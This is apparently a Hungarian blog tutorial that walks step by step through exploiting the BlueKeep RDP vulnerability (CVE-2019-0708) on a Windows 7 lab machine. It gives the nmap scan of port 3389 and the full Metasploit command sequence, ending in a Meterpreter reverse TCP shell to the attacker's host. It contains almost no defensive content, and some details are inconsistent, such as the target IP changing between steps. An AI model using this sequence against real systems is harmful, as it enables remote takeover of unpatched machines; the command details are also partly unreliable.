A távoli asztali protokoll (RDP) egy biztonságos hálózati kommunikációs protokoll, amelyet távoli kezelésre, valamint virtuális asztalok, alkalmazások és RDP terminálszerverek távoli elérésére terveztek.
Az RDP lehetővé teszi a hálózati rendszergazdák számára, hogy távolról diagnosztizálják és megoldják az egyes előfizetők problémáit. Az RDP a Windows operációs rendszer legtöbb verziójához elérhető. Az RDP az Apple macOS rendszeréhez is választható. Egy nyílt forráskódú változat is elérhető.
Az RDP-nek azonban van egy sebezhetősége a Windows7 rendszeren, ezért ma ezt fogjuk bemutatni. Nyissunk tehát egy parancssort, és kezdjük el.
Az RDP a 3389-es TCP porton fut, ezért először meg kell néznünk, hogy a megtámadandó eszköz használja-e ezt a protokollt. Ehhez az nmap-ot fogjuk használni, és a 3389-es portot fogjuk megadni a vizsgálatunkban. Mindössze a Windows7-es gép IP címére lesz szükségünk. A miénk ebben az esetben 192.168.100.84.
nmap -sV -p 3389 192.168.100.84
A fenti parancs letapogatja, és kifejezetten azt keresi, hogy a 3389-es port használatban van-e, láthatjuk, hogy a -p flag jelöli a portot. Lássuk tehát a vizsgálat eredményét.
Amint látjuk, Windows7-es dobozunk valóban a 3389-es portot használja. Most pedig térjünk rá az exploitra. Először is meg kell nyitnunk a Metasploitot.
msfconsole
Majd megkeressük a keresett exploitot, esetünkben a Bluekeepet.
search bluekeep
Ezzel tehát két exploitot látunk, mindkettőt a Bluekeephez, de nekünk csak az alsóra lesz szükségünk. Használjuk tehát azt.
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
Ha már látjuk az exploitot pirossal, tudjuk, hogy most már használjuk. Keressünk tehát további információkat erről az exploitról.
info
Ez tehát magyarázatot ad arra, hogy ez az exploit hogyan képes helytelenül kezelni a kötéseket, hogy kódfuttatást érjen el. Tökéletes. Ezután meg kell adnunk a Metasploitnak a Windows7 célgép IP címét.
set RHOSTS 109.168.100.84
Mihelyt ez megvan, mehetünk előre, és megadhatjuk neki a hasznos terhet, amit az exploittal együtt használni szeretnénk, hogy egy fordított TCP shell-t kapjunk.
set payload windows/x64/meterpreter/reverse_tcp
Megadjuk tehát a Windows operációs rendszert, a 64 bites architektúrát, és egy Meterpreter munkamenettel rendelkező TCP reverse shell-t kérünk. Még néhány dolog, amit meg kell tennünk, hogy megadjuk a Metasploitnak a támadó gépünk IP-jét és a port számát, amelyen hallgatni kell.
set LHOST 192.168.100.237set LPORT 4444
A 4444-es portot adjuk meg, egyszerűen azért, mert tudjuk, hogy azon a porton nem fut más szolgáltatás. Most tehát azt szeretnénk megnézni, hogy a Metasploit milyen célopciót ad nekünk.
show targets
A korábbi nmap vizsgálatunkból már tudjuk, hogy a Windows7-es dobozon VMWare, pontosabban Virtualbox fut, így a listában a 2-es számot választjuk.
set target 2
Ha mindez megvan, az utolsó lépés a célgép kihasználása.
exploit
Láthatjuk, hogy az exploit megpróbál működni. Azt is láthatjuk, hogy közli velünk, hogy a célpont sebezhető. Ennek az exploitnak csak egy percig kell tartania, amíg a kód végrehajtódik.
BOOM!!! van egy Meterpreter shellünk a célgépről!!! Így működik a Bluekeep.
Köszönjük az olvasást srácok, kérem térjetek vissza még több ilyen bejegyzésért, és adjatok nekünk javaslatokat, hogy miről szeretnétek, hogy írjunk.
Még ne felejtsetek el feliratkozni, megosztani és like-olni, előre is köszönjük!!!